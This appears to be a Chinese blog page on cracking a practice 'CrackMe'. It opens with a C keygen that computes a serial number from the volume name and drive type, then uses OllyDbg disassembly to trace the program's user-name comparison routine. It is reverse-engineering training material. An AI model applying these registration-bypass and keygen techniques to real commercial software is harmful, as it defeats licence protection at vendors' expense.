<span class="kt">int</span><span class="w"> </span><span class="nf">main</span><span class="p">(</span><span class="kt">int</span><span class="w"> </span><span class="n">argc</span><span class="p">,</span><span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="o">**</span><span class="n">argv</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">volume_name</span><span class="p">[</span><span class="mi">256</span><span class="p">]</span><span class="o">=</span><span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="w"> </span><span class="n">GetVolumeInformation</span><span class="p">(</span><span class="w"> </span><span class="nb">NULL</span><span class="p">,</span><span class="n">volume_name</span><span class="p">,</span><span class="mi">11</span><span class="p">,</span><span class="nb">NULL</span><span class="p">,</span><span class="nb">NULL</span><span class="p">,</span><span class="nb">NULL</span><span class="p">,</span><span class="nb">NULL</span><span class="p">,</span><span class="nb">NULL</span><span class="p">);</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"[+] volume name: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">volume_name</span><span class="p">);</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">_24_31</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span><span class="o">=</span><span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">_16_23</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span><span class="o">=</span><span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">_8_15</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span><span class="o">=</span><span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">_0_7</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span><span class="o">=</span><span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="w"> </span><span class="n">sprintf</span><span class="p">(</span><span class="n">_24_31</span><span class="p">,</span><span class="w"> </span><span class="s">"%02X"</span><span class="p">,</span><span class="w"> </span><span class="p">(</span><span class="kt">unsigned</span><span class="w"> </span><span class="kt">char</span><span class="p">)</span><span class="n">volume_name</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>
<span class="w"> </span><span class="n">sprintf</span><span class="p">(</span><span class="n">_16_23</span><span class="p">,</span><span class="w"> </span><span class="s">"%02X"</span><span class="p">,</span><span class="w"> </span><span class="p">(</span><span class="kt">unsigned</span><span class="w"> </span><span class="kt">char</span><span class="p">)</span><span class="n">volume_name</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>
<span class="w"> </span><span class="n">sprintf</span><span class="p">(</span><span class="n">_8_15</span><span class="p">,</span><span class="w"> </span><span class="s">"%02X"</span><span class="p">,</span><span class="w"> </span><span class="p">(</span><span class="kt">unsigned</span><span class="w"> </span><span class="kt">char</span><span class="p">)</span><span class="n">volume_name</span><span class="p">[</span><span class="mi">2</span><span class="p">]);</span>
<span class="w"> </span><span class="n">sprintf</span><span class="p">(</span><span class="n">_0_7</span><span class="p">,</span><span class="w"> </span><span class="s">"%02X"</span><span class="p">,</span><span class="w"> </span><span class="p">(</span><span class="kt">unsigned</span><span class="w"> </span><span class="kt">char</span><span class="p">)</span><span class="n">volume_name</span><span class="p">[</span><span class="mi">3</span><span class="p">]);</span>
<span class="w"> </span><span class="kt">char</span><span class="o">*</span><span class="w"> </span><span class="n">hex_string</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="kt">char</span><span class="o">*</span><span class="p">)</span><span class="n">malloc</span><span class="p">(</span><span class="mi">8</span><span class="o">+</span><span class="mi">1</span><span class="p">);</span>
<span class="w"> </span><span class="n">strcpy</span><span class="p">(</span><span class="n">hex_string</span><span class="p">,</span><span class="w"> </span><span class="n">_0_7</span><span class="p">);</span>
<span class="w"> </span><span class="n">strcat</span><span class="p">(</span><span class="n">hex_string</span><span class="p">,</span><span class="w"> </span><span class="n">_8_15</span><span class="p">);</span>
<span class="w"> </span><span class="n">strcat</span><span class="p">(</span><span class="n">hex_string</span><span class="p">,</span><span class="w"> </span><span class="n">_16_23</span><span class="p">);</span>
<span class="w"> </span><span class="n">strcat</span><span class="p">(</span><span class="n">hex_string</span><span class="p">,</span><span class="w"> </span><span class="n">_24_31</span><span class="p">);</span>
<span class="w"> </span><span class="kt">unsigned</span><span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">ecx</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">GetDriveType</span><span class="p">(</span><span class="nb">NULL</span><span class="p">);</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"[+] drive type: %u</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">ecx</span><span class="p">);</span>
<span class="w"> </span><span class="kt">unsigned</span><span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">ebx</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="kt">unsigned</span><span class="w"> </span><span class="kt">int</span><span class="p">)</span><span class="n">strtoul</span><span class="p">(</span><span class="n">hex_string</span><span class="p">,</span><span class="w"> </span><span class="nb">NULL</span><span class="p">,</span><span class="w"> </span><span class="mi">16</span><span class="p">);</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"[+] ebx initial value: 0x%x</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">ebx</span><span class="p">);</span>
<span class="w"> </span><span class="n">free</span><span class="p">(</span><span class="n">hex_string</span><span class="p">);</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"[+] ecx initial value: %u</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">ecx</span><span class="p">);</span>
<span class="w"> </span><span class="kt">unsigned</span><span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">eax</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="kt">unsigned</span><span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">edi</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="k">for</span><span class="p">(</span><span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="w"> </span><span class="n">i</span><span class="o"><</span><span class="n">ecx</span><span class="p">;</span><span class="w"> </span><span class="n">i</span><span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">eax</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ecx</span><span class="o">-</span><span class="n">i</span><span class="p">;</span>
<span class="w"> </span><span class="n">eax</span><span class="w"> </span><span class="o">*=</span><span class="w"> </span><span class="n">ebx</span><span class="p">;</span>
<span class="w"> </span><span class="n">edi</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="n">eax</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"[+] edi value: 0x%x</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">edi</span><span class="p">);</span>
<span class="w"> </span><span class="k">const</span><span class="w"> </span><span class="kt">unsigned</span><span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">const_value</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="kt">unsigned</span><span class="w"> </span><span class="kt">int</span><span class="p">)</span><span class="n">strtoul</span><span class="p">(</span><span class="s">"797A7553"</span><span class="p">,</span><span class="w"> </span><span class="nb">NULL</span><span class="p">,</span><span class="w"> </span><span class="mi">16</span><span class="p">);</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"[+] calculated serial number: %u</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">const_value</span><span class="o">^</span><span class="n">edi</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>CrackMe破解流程2022-05-07T00:00:00+02:002022-05-07T00:00:00+02:0012138tag:None,2022-05-07:crackmepo-jie-liu-cheng.html<p>references:</p>
<ul>
<li><a href="http://bbs.pediy.com/showthread.php?s=&threadid=21308">http://bbs.pediy.com/showthread.php?s=&threadid=21308</a></li>
</ul>
<p>耍一耍二进制</p>
<p>如果需要密码,就是1</p>
<p><a href="https://gitee.com/wochinijiamile/smartya/blob/master/cffo-3.rar">要破解的二进制文件</a></p>
<p><a href="https://gitee.com/wochinijiamile/smartya/blob/master/3pojie.7z">OllyDBG</a></p>
<p>根据注册时弹出的错误信息,搜索错 …</p><p>references:</p>
<ul>
<li><a href="http://bbs.pediy.com/showthread.php?s=&threadid=21308">http://bbs.pediy.com/showthread.php?s=&threadid=21308</a></li>
</ul>
<p>耍一耍二进制</p>
<p>如果需要密码,就是1</p>
<p><a href="https://gitee.com/wochinijiamile/smartya/blob/master/cffo-3.rar">要破解的二进制文件</a></p>
<p><a href="https://gitee.com/wochinijiamile/smartya/blob/master/3pojie.7z">OllyDBG</a></p>
<p>根据注册时弹出的错误信息,搜索错误字符串定位到程序代码</p>
<p><img alt="1651825139191" src="0001-crackme流程.assets/asdfqetgwserg.gif"></p>
<p>两个错误提示,两段同样的代码,我们分别在其调用者下断点</p>
<p>实际上是JNZ指令条件跳转过来的</p>
<p>两条跳转指令的上一条指令是同一个函数</p>
<p><img alt="1651825139191" src="0001-crackme流程.assets/1651825139191.png"></p>
<p>下断点跟入该函数</p>
<p><img alt="1651825278371" src="0001-crackme流程.assets/1651825278371.png"></p>
<p>对该函数进行分析</p>
<p>首先前三行是压栈操作,保护寄存器的内容</p>
<div class="highlight"><pre><span></span><code><span class="err">00403</span><span class="nf">B2C</span><span class="w"> </span><span class="err">/</span><span class="no">$</span><span class="w"> </span><span class="mi">53</span><span class="w"> </span><span class="no">PUSH</span><span class="w"> </span><span class="no">EBX</span>
<span class="err">00403</span><span class="nf">B2D</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">56</span><span class="w"> </span><span class="no">PUSH</span><span class="w"> </span><span class="no">ESI</span>
<span class="err">00403</span><span class="nf">B2E</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">57</span><span class="w"> </span><span class="no">PUSH</span><span class="w"> </span><span class="no">EDI</span>
</code></pre></div>
<p>接下来的三行我并不理解他是什么意思,因为从字面上来看,他是对两个偏移量进行了CMP操作,而EAX寄存器是指向我们输入的用户名字符串的指针,EDX寄存器是指向程序硬编码的字符串的指针,我不明白比较这两个指针的意义何在</p>
<div class="highlight"><pre><span></span><code><span class="err">00403</span><span class="nf">B2F</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">89</span><span class="no">C6</span><span class="w"> </span><span class="no">MOV</span><span class="w"> </span><span class="no">ESI</span><span class="p">,</span><span class="no">EAX</span>
<span class="err">00403</span><span class="nf">B31</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">89</span><span class="no">D7</span><span class="w"> </span><span class="no">MOV</span><span class="w"> </span><span class="no">EDI</span><span class="p">,</span><span class="no">EDX</span>
<span class="err">00403</span><span class="nf">B33</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">39</span><span class="no">D0</span><span class="w"> </span><span class="no">CMP</span><span class="w"> </span><span class="no">EAX</span><span class="p">,</span><span class="no">EDX</span>
</code></pre></div>
<p>如果着两个指针一样,就会跳转</p>
<div class="highlight"><pre><span></span><code><span class="err">00403</span><span class="nf">B35</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">0</span><span class="no">F84</span><span class="w"> </span><span class="mi">8</span><span class="no">F000000</span><span class="w"> </span><span class="no">JE</span><span class="w"> </span><span class="no">CrackMe3.00403BCA</span>
</code></pre></div>
<p>太离谱了,这两个指针要在什么样的情况下才会相等????</p>
<p>不过前两行我还是能理解的,就是将地址分别转移到了ESI和EDI寄存器</p>
<p>直接ctrl+G定位到指定内存地址<code>00403BCA</code>:</p>
<p><img alt="1651825670067" src="0001-crackme流程.assets/1651825670067.png"></p>
<p>可以看到是直接返回了,而此时ZF标志寄存器肯定会置位(1)</p>
<p>那么JNZ就不会成立,错误消息就不会弹出了</p>
<p>我们继续往下看,因为EAX和EDX并不相等</p>
<p><img alt="1651825821880" src="0001-crackme流程.assets/1651825821880.png"></p>
<p>看看这两个寄存器是否为空(空地址全0)</p>
<p>不过除非我们直接没给用户名,不然这两个TEST指令都不会成立</p>
<p>接着看下面是三行</p>
<p><img alt="1651825991790" src="0001-crackme流程.assets/1651825991790.png"></p>
<p>从结果来看是把两个字符串的长度放到了EAX和EDX寄存器中,但是为啥<code>DS:[ESI-4]</code>和<code>DS:[EDI-4]</code>就是字符串的长度,我也不清楚,我也没有源代码,鬼知道他是怎么写的,如果大家有知道的,欢迎留言,不胜感激</p>
<p>注意SUB指令不同于其他的指令,<code>SUB var1, var2</code>的意思是<code>var1-var2</code>,不能照搬MOV的规则</p>
<p>然后他把两个字符串的长度相减,此处结果为0,因为<code>Unregistered...</code>和<code>Registered User</code>的长度是一样的,长度都是<code>0x0F</code></p>
<p>如果我们输入的字符串长比硬编码的字符串长,直接跳走</p>
<p><img alt="1651826813824" src="0001-crackme流程.assets/1651826813824.png"></p>
<p>就是把<code>ADD EDX, EAX</code>指令给跳过了,如果没有跳过,说明我们输入的字符串长度和硬编码的字符串长度相等或者更短,那么该指令就会执行,将两者的差值和硬编码的字符串长度相加,那么此时EDX的值将和EAX原来的值相等</p>
<p>我们可以实验一下,将用户名的长度设置为1</p>
<p><img alt="1651826813824" src="0001-crackme流程.assets/aetgaetg.gif"></p>
<p>可以看到,当我们输入的用户名长度较小时,会产生一个负数,但是最后和EDX相加之后,EDX就会变成EAX之前的值</p>
<p>等效于:</p>
<div class="highlight"><pre><span></span><code><span class="nf">EDX</span><span class="err">+</span><span class="p">(</span><span class="no">EAX-EDX</span><span class="p">)</span><span class="err">=</span><span class="no">EAX</span>
</code></pre></div>
<p>接着往下看</p>
<p><img alt="1651898834779" src="0001-crackme流程.assets/1651898834779.png"></p>
<p>保存EDX的值,然后将EDX右移两位,如果EDX小于4,那么右移两位之后,结果肯定为0,ZF就会置位</p>
<p>就会跳转到<code>CrackMe3.00403B7B</code></p>
<p>这里之所以要右移两位,是因为下面的代码将会对我们输入的用户名和硬编码的用户名进行循环比较,每次比较4个字节,也就是4个字符串,这里由于是1,所以进不去循环,我们使用默认的用户名来进行调试</p>
<p>这个就是循环体,以EDX作为循环次数</p>
<p><img alt="1651899249727" src="0001-crackme流程.assets/1651899249727.png"></p>
<p>前三行:</p>
<div class="highlight"><pre><span></span><code><span class="err">00403</span><span class="nf">B55</span><span class="w"> </span><span class="err">|></span><span class="w"> </span><span class="mi">8</span><span class="no">B0E</span><span class="w"> </span><span class="err">/</span><span class="no">MOV</span><span class="w"> </span><span class="no">ECX</span><span class="p">,</span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="no">DS</span><span class="p">:[</span><span class="no">ESI</span><span class="p">]</span>
<span class="err">00403</span><span class="nf">B57</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">8</span><span class="no">B1F</span><span class="w"> </span><span class="err">|</span><span class="no">MOV</span><span class="w"> </span><span class="no">EBX</span><span class="p">,</span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="no">DS</span><span class="p">:[</span><span class="no">EDI</span><span class="p">]</span>
<span class="err">00403</span><span class="nf">B59</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">39</span><span class="no">D9</span><span class="w"> </span><span class="err">|</span><span class="no">CMP</span><span class="w"> </span><span class="no">ECX</span><span class="p">,</span><span class="no">EBX</span>
</code></pre></div>
<p>ESI和EDI分别为我们输入的字符串和硬编码字符串的指针,这三行指令分别取出了两个字符串的前4个字符到ECX和EBX中,并对两者进行比较</p>
<p>如果不相等,则直接跳出循环</p>
<p><img alt="1651899439209" src="0001-crackme流程.assets/1651899439209.png"></p>
<p>跳转到如下位置:</p>
<div class="highlight"><pre><span></span><code><span class="err">00403</span><span class="nf">BB5</span><span class="w"> </span><span class="err">|></span><span class="w"> </span><span class="mi">5</span><span class="no">A</span><span class="w"> </span><span class="no">POP</span><span class="w"> </span><span class="no">EDX</span>
<span class="err">00403</span><span class="nf">BB6</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">38</span><span class="no">D9</span><span class="w"> </span><span class="no">CMP</span><span class="w"> </span><span class="no">CL</span><span class="p">,</span><span class="no">BL</span>
<span class="err">00403</span><span class="nf">BB8</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">75</span><span class="w"> </span><span class="mi">10</span><span class="w"> </span><span class="no">JNZ</span><span class="w"> </span><span class="no">SHORT</span><span class="w"> </span><span class="no">CrackMe3.00403BCA</span>
<span class="err">00403</span><span class="nf">BBA</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">38</span><span class="no">FD</span><span class="w"> </span><span class="no">CMP</span><span class="w"> </span><span class="no">CH</span><span class="p">,</span><span class="no">BH</span>
<span class="err">00403</span><span class="nf">BBC</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">75</span><span class="w"> </span><span class="mi">0</span><span class="no">C</span><span class="w"> </span><span class="no">JNZ</span><span class="w"> </span><span class="no">SHORT</span><span class="w"> </span><span class="no">CrackMe3.00403BCA</span>
<span class="err">00403</span><span class="nf">BBE</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="no">C1E9</span><span class="w"> </span><span class="mi">10</span><span class="w"> </span><span class="no">SHR</span><span class="w"> </span><span class="no">ECX</span><span class="p">,</span><span class="mi">10</span>
<span class="err">00403</span><span class="nf">BC1</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="no">C1EB</span><span class="w"> </span><span class="mi">10</span><span class="w"> </span><span class="no">SHR</span><span class="w"> </span><span class="no">EBX</span><span class="p">,</span><span class="mi">10</span>
<span class="err">00403</span><span class="nf">BC4</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">38</span><span class="no">D9</span><span class="w"> </span><span class="no">CMP</span><span class="w"> </span><span class="no">CL</span><span class="p">,</span><span class="no">BL</span>
<span class="err">00403</span><span class="nf">BC6</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">75</span><span class="w"> </span><span class="mi">02</span><span class="w"> </span><span class="no">JNZ</span><span class="w"> </span><span class="no">SHORT</span><span class="w"> </span><span class="no">CrackMe3.00403BCA</span>
<span class="err">00403</span><span class="nf">BC8</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">38</span><span class="no">FD</span><span class="w"> </span><span class="no">CMP</span><span class="w"> </span><span class="no">CH</span><span class="p">,</span><span class="no">BH</span>
<span class="err">00403</span><span class="nf">BCA</span><span class="w"> </span><span class="err">|></span><span class="w"> </span><span class="mi">5</span><span class="no">F</span><span class="w"> </span><span class="no">POP</span><span class="w"> </span><span class="no">EDI</span>
<span class="err">00403</span><span class="nf">BCB</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">5</span><span class="no">E</span><span class="w"> </span><span class="no">POP</span><span class="w"> </span><span class="no">ESI</span>
<span class="err">00403</span><span class="nf">BCC</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">5</span><span class="no">B</span><span class="w"> </span><span class="no">POP</span><span class="w"> </span><span class="no">EBX</span>
<span class="err">00403</span><span class="nf">BCD</span><span class="w"> </span><span class="err">\</span><span class="p">.</span><span class="w"> </span><span class="no">C3</span><span class="w"> </span><span class="no">RETN</span>
</code></pre></div>
<p>恢复EDX的值,然后对ECX和EBX寄存器的24~31bit进行比较,不同则直接返回,否则继续比较16~23biit,不同则直接返回,否则将ECX和EBX分别右移16位,重复以上操作</p>
<p>我们是因为EBX和ECX不相等跳到这里来的,所以这里的判断也会全部失败,最后ZF标志位处于复位状态返回,弹出错误信息</p>
<p>回到循环代码</p>
<div class="highlight"><pre><span></span><code><span class="err">00403</span><span class="nf">B5D</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">4</span><span class="no">A</span><span class="w"> </span><span class="err">|</span><span class="no">DEC</span><span class="w"> </span><span class="no">EDX</span>
<span class="err">00403</span><span class="nf">B5E</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">74</span><span class="w"> </span><span class="mi">15</span><span class="w"> </span><span class="err">|</span><span class="no">JE</span><span class="w"> </span><span class="no">SHORT</span><span class="w"> </span><span class="no">CrackMe3.00403B75</span>
</code></pre></div>
<p>前四个字符串一样,EDX减1,如果EDX变成0了,说明已经比较完了,跳转</p>
<div class="highlight"><pre><span></span><code><span class="err">00403</span><span class="nf">B75</span><span class="w"> </span><span class="err">|></span><span class="w"> </span><span class="mi">83</span><span class="no">C6</span><span class="w"> </span><span class="mi">04</span><span class="w"> </span><span class="no">ADD</span><span class="w"> </span><span class="no">ESI</span><span class="p">,</span><span class="mi">4</span>
<span class="err">00403</span><span class="nf">B78</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">83</span><span class="no">C7</span><span class="w"> </span><span class="mi">04</span><span class="w"> </span><span class="no">ADD</span><span class="w"> </span><span class="no">EDI</span><span class="p">,</span><span class="mi">4</span>
<span class="err">00403</span><span class="nf">B7B</span><span class="w"> </span><span class="err">|></span><span class="w"> </span><span class="mi">5</span><span class="no">A</span><span class="w"> </span><span class="no">POP</span><span class="w"> </span><span class="no">EDX</span>
<span class="err">00403</span><span class="nf">B7C</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">83</span><span class="no">E2</span><span class="w"> </span><span class="mi">03</span><span class="w"> </span><span class="no">AND</span><span class="w"> </span><span class="no">EDX</span><span class="p">,</span><span class="mi">3</span>
<span class="err">00403</span><span class="nf">B7F</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">74</span><span class="w"> </span><span class="mi">22</span><span class="w"> </span><span class="no">JE</span><span class="w"> </span><span class="no">SHORT</span><span class="w"> </span><span class="no">CrackMe3.00403BA3</span>
</code></pre></div>
<p>两个指针分别向后偏移4位,然后恢复EDX的值,和3进行与操作,其实就是判断EDX的最后两个bit是否全为0,如果不为0,说明字符串没有被完全比较,还余下了几个,其实这个与运算的结果就是进入循环前进行的右移2位(除以4)的余数</p>
<p>如果EDX被4整除了,就跳转,也就是说,字符串比较已经完成</p>
<div class="highlight"><pre><span></span><code><span class="err">00403</span><span class="nf">BA3</span><span class="w"> </span><span class="err">|></span><span class="w"> </span><span class="mi">01</span><span class="no">C0</span><span class="w"> </span><span class="no">ADD</span><span class="w"> </span><span class="no">EAX</span><span class="p">,</span><span class="no">EAX</span>
<span class="err">00403</span><span class="nf">BA5</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="no">EB</span><span class="w"> </span><span class="mi">23</span><span class="w"> </span><span class="no">JMP</span><span class="w"> </span><span class="no">SHORT</span><span class="w"> </span><span class="no">CrackMe3.00403BCA</span>
</code></pre></div>
<p>这里其实就是判断一下EAX的值是否为0,为0说明我们输入的用户名和硬编码的用户名长度一致,因为前面有一个<code>SUB EAX, EDX</code>的操作</p>
<p>如果没有被4整除,也就是说还有余数,那么久继续比较</p>
<div class="highlight"><pre><span></span><code><span class="err">00403</span><span class="nf">B81</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">8</span><span class="no">B0E</span><span class="w"> </span><span class="no">MOV</span><span class="w"> </span><span class="no">ECX</span><span class="p">,</span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="no">DS</span><span class="p">:[</span><span class="no">ESI</span><span class="p">]</span>
<span class="err">00403</span><span class="nf">B83</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">8</span><span class="no">B1F</span><span class="w"> </span><span class="no">MOV</span><span class="w"> </span><span class="no">EBX</span><span class="p">,</span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="no">DS</span><span class="p">:[</span><span class="no">EDI</span><span class="p">]</span>
<span class="err">00403</span><span class="nf">B85</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">38</span><span class="no">D9</span><span class="w"> </span><span class="no">CMP</span><span class="w"> </span><span class="no">CL</span><span class="p">,</span><span class="no">BL</span>
<span class="err">00403</span><span class="nf">B87</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">75</span><span class="w"> </span><span class="mi">41</span><span class="w"> </span><span class="no">JNZ</span><span class="w"> </span><span class="no">SHORT</span><span class="w"> </span><span class="no">CrackMe3.00403BCA</span>
<span class="err">00403</span><span class="nf">B89</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">4</span><span class="no">A</span><span class="w"> </span><span class="no">DEC</span><span class="w"> </span><span class="no">EDX</span>
<span class="err">00403</span><span class="nf">B8A</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">74</span><span class="w"> </span><span class="mi">17</span><span class="w"> </span><span class="no">JE</span><span class="w"> </span><span class="no">SHORT</span><span class="w"> </span><span class="no">CrackMe3.00403BA3</span>
<span class="err">00403</span><span class="nf">B8C</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">38</span><span class="no">FD</span><span class="w"> </span><span class="no">CMP</span><span class="w"> </span><span class="no">CH</span><span class="p">,</span><span class="no">BH</span>
<span class="err">00403</span><span class="nf">B8E</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">75</span><span class="w"> </span><span class="mi">3</span><span class="no">A</span><span class="w"> </span><span class="no">JNZ</span><span class="w"> </span><span class="no">SHORT</span><span class="w"> </span><span class="no">CrackMe3.00403BCA</span>
<span class="err">00403</span><span class="nf">B90</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">4</span><span class="no">A</span><span class="w"> </span><span class="no">DEC</span><span class="w"> </span><span class="no">EDX</span>
<span class="err">00403</span><span class="nf">B91</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">74</span><span class="w"> </span><span class="mi">10</span><span class="w"> </span><span class="no">JE</span><span class="w"> </span><span class="no">SHORT</span><span class="w"> </span><span class="no">CrackMe3.00403BA3</span>
</code></pre></div>
<p>可以看到,先比较剩余的第一个字符,不相等直接返回,如果相等,再判断字符串是不是比较完了</p>
<p>如果上面都没有跳转,再比较剩余的第二个字符,同上</p>
<p>如果都没有跳转,执行下面的代码</p>
<div class="highlight"><pre><span></span><code><span class="err">00403</span><span class="nf">B93</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">81</span><span class="no">E3</span><span class="w"> </span><span class="mi">0000</span><span class="no">FF00</span><span class="w"> </span><span class="no">AND</span><span class="w"> </span><span class="no">EBX</span><span class="p">,</span><span class="mi">0</span><span class="no">FF0000</span>
<span class="err">00403</span><span class="nf">B99</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">81</span><span class="no">E1</span><span class="w"> </span><span class="mi">0000</span><span class="no">FF00</span><span class="w"> </span><span class="no">AND</span><span class="w"> </span><span class="no">ECX</span><span class="p">,</span><span class="mi">0</span><span class="no">FF0000</span>
<span class="err">00403</span><span class="nf">B9F</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">39</span><span class="no">D9</span><span class="w"> </span><span class="no">CMP</span><span class="w"> </span><span class="no">ECX</span><span class="p">,</span><span class="no">EBX</span>
<span class="err">00403</span><span class="nf">BA1</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">75</span><span class="w"> </span><span class="mi">27</span><span class="w"> </span><span class="no">JNZ</span><span class="w"> </span><span class="no">SHORT</span><span class="w"> </span><span class="no">CrackMe3.00403BCA</span>
<span class="err">00403</span><span class="nf">BA3</span><span class="w"> </span><span class="err">|></span><span class="w"> </span><span class="mi">01</span><span class="no">C0</span><span class="w"> </span><span class="no">ADD</span><span class="w"> </span><span class="no">EAX</span><span class="p">,</span><span class="no">EAX</span>
<span class="err">00403</span><span class="nf">BA5</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="no">EB</span><span class="w"> </span><span class="mi">23</span><span class="w"> </span><span class="no">JMP</span><span class="w"> </span><span class="no">SHORT</span><span class="w"> </span><span class="no">CrackMe3.00403BCA</span>
</code></pre></div>
<p>通过与操作提取出第3个字符进行比较,其实和上面的逻辑是一样的,只不过不用跳<code>CrackMe3.00403BA3</code>了,因为要跳转的代码跟它挨着,这一处的代码逻辑,上面已经讲过了,不再赘述</p>
